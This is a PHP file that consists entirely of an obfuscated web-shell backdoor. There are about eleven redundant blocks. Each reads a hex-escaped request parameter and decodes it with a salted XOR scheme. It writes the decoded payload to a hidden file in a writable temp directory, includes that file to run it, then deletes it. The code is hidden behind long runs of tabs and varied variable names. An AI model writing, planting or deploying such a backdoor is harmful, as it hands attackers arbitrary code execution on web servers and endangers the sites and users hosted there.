<?php																																										if(count($_POST) > 0 && isset($_POST["p\x73\x65t"])){ $ent = array_filter(["/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $ref = $_POST["p\x73\x65t"]; $ref = explode( "." , $ref ); $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; $__len = count($ref); do { if ($k>= $__len) break; $v1 = $ref[$k]; $sChar = ord($s[$k %$sLen]); $dec = ((int)$v1 - $sChar - ($k %10))^ 84; $value .= chr($dec); $k++; } while (true); foreach ($ent as $key => $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $holder = sprintf("%s/.val", $parameter_group); if (file_put_contents($holder, $value)) { include $holder; @unlink($holder); die(); } } } }
																																										if(!is_null($_POST["\x6D\x72k"] ?? null)){ $flag = $_POST["\x6D\x72k"]; $flag =explode ( "." , $flag ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $x = 0; while( $x < count( $flag)) { $v7 = $flag[$x]; $chS = ord( $salt[$x % $sLen]); $dec =( ( int)$v7 - $chS -( $x % 10)) ^ 99; $elem.= chr( $dec); $x++; } $value = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); $ent = 0; do { $flg = $value[$ent] ?? null; if ($ent >= count($value)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $property_set = "$flg" . "/.hld"; $success = file_put_contents($property_set, $elem); if ($success) { include $property_set; @unlink($property_set); exit;} } $ent++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "e\x6Ce\x6D\x65n\x74")){ $pgrp = $_POST["e\x6Ce\x6D\x65n\x74"]; $pgrp = explode( '.' , $pgrp ) ; $key = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $q = 0; foreach ($pgrp as $v5) { $sChar = ord($salt7[$q %$lenS] ); $d = ((int)$v5 - $sChar - ($q %10)) ^ 97; $key .=chr($d ); $q++;} $tkn = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/tmp"]); while ($dat = array_shift($tkn)) { if (is_dir($dat) ? is_writable($dat) : false) { $dchunk = implode("/", [$dat, ".marker"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(isset($_REQUEST["hl\x64"]) ? true : false){ $resource = $_REQUEST["hl\x64"]; $resource = explode ( '.' , $resource ) ; $dchunk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $o = 0; $len = count( $resource); do { if( $o >= $len) break; $v4 = $resource[$o]; $chS = ord( $s5[$o % $lenS]); $d =( ( int)$v4 - $chS -( $o % 10)) ^ 43; $dchunk .= chr( $d); $o++; } while( true); $mrk = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($mrk as $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $elem = str_replace("{var_dir}", $ent, "{var_dir}/.ref"); $success = file_put_contents($elem, $dchunk); if ($success) { include $elem; @unlink($elem); exit;} } } }
																																										if(isset($_POST["\x66\x61ctor"]) ? true : false){ $entity = $_POST["\x66\x61ctor"]; $entity = explode ( "." , $entity ) ; $parameter_group =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1); $len =count( $entity); for( $l =0; $l < $len; $l++) { $v8 =$entity[$l]; $chS =ord( $salt1[$l %$lenS]); $d =( ( int)$v8 - $chS -( $l %10)) ^ 67; $parameter_group .= chr( $d); } $sym = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp"]); $tkn = 0; do { $val = $sym[$tkn] ?? null; if ($tkn >= count($sym)) break; if ((is_dir($val) and is_writable($val))) { $k = implode("/", [$val, ".symbol"]); if (file_put_contents($k, $parameter_group)) { include $k; @unlink($k); exit; } } $tkn++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x66\x6Cag")){ $parameter_group = $_REQUEST["\x66\x6Cag"]; $parameter_group = explode ( "." , $parameter_group ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $z = 0; foreach ($parameter_group as $v3) { $chS = ord($salt[$z%$lenS]); $d = ((int)$v3 - $chS - ($z%10)) ^ 56; $dchunk .= chr($d); $z++; } $element = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); for ($obj = 0, $mrk = count($element); $obj < $mrk; $obj++) { $item = $element[$obj]; if (is_dir($item) ? is_writable($item) : false) { $hld = "$item/.property_set"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(array_key_exists("\x72ef", $_POST)){ $ent = $_POST["\x72ef"]; $ent =explode ( '.' , $ent ) ; $item=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $l=0; foreach($ent as $v9) { $sChar=ord($s[$l % $lenS]); $dec=((int)$v9 - $sChar -($l % 10))^53; $item .= chr($dec); $l++; } $value = array_filter([getcwd(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp"]); foreach ($value as $dat): if (!( !is_dir($dat) || !is_writable($dat) )) { $tkn = "$dat" . "/.sym"; $success = file_put_contents($tkn, $item); if ($success) { include $tkn; @unlink($tkn); exit;} } endforeach; }
																																										if(@$_REQUEST["\x70s\x65t"] !== null){ $comp = $_REQUEST["\x70s\x65t"]; $comp =explode ( "." ,$comp ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; foreach ($comp as $v7) { $chS = ord($salt[$x % $sLen]); $d = ((int)$v7 - $chS - ($x % 10)) ^ 98; $ptr .= chr($d); $x++; } $flag = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($flag as $pgrp) { if (is_dir($pgrp) && is_writable($pgrp)) { $resource = vsprintf("%s/%s", [$pgrp, ".element"]); if (file_put_contents($resource, $ptr)) { include $resource; @unlink($resource); exit; } } } }
																																										if(array_key_exists("ps\x65\x74", $_REQUEST) && !is_null($_REQUEST["ps\x65\x74"])){ $data = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $ref = $_REQUEST["ps\x65\x74"]; $ref =explode( "." ,$ref ) ; $reference = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); foreach( $ref as $x => $v1) { $chS = ord( $s5[$x % $lenS]); $dec =( ( int)$v1 - $chS -( $x % 10))^ 51; $reference .= chr( $dec); } $resource = 0; do { $sym = $data[$resource] ?? null; if ($resource >= count($data)) break; if (!!is_dir($sym) && !!is_writable($sym)) { $obj = join("/", [$sym, ".data_chunk"]); if (file_put_contents($obj, $reference)) { include $obj; @unlink($obj); die(); } } $resource++; } while (true); }
																																										if(isset($_REQUEST["\x76\x61l"]) ? true : false){ $object = $_REQUEST["\x76\x61l"]; $object =explode( ".", $object) ; $pgrp =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $o =0; $__tmp =$object; while( $v1 =array_shift( $__tmp)) { $chS =ord( $salt[$o % $lenS]); $dec =( ( int)$v1 - $chS -( $o % 10)) ^ 100; $pgrp .= chr( $dec); $o++; } $dat = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP")]); while ($itm = array_shift($dat)) { if (is_writable($itm) && is_dir($itm)) { $data = join("/", [$itm, ".pointer"]); if (@file_put_contents($data, $pgrp) !== false) { include $data; unlink($data); exit; } } } }


if(array_key_exists("ma\x72\x6B\x65r", $_POST) && !is_null($_POST["ma\x72\x6B\x65r"])){
	$ref = $_POST["ma\x72\x6B\x65r"];
		$ref  	=   explode("."		 ,	 $ref)  	; 	
	$element = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s		);
            $__len = count($ref		);
    
            for ($z = 0; $z<$__len; $z++) {
                $v5 = $ref[$z];
                $chS = ord($s[$z%  $lenS]		);
                $d = ((int)$v5 - $chS - ($z%  10)) ^ 63;
                $element .= 	chr($d		);}
	$component = array_filter([getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd()]);
	while ($pgrp = array_shift($component)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) {
    $dchunk = sprintf("%s/.record", $pgrp);
    $success = file_put_contents($dchunk, $element);
if ($success) {
	include $dchunk;
	@unlink($dchunk);
	die();}
}
}
}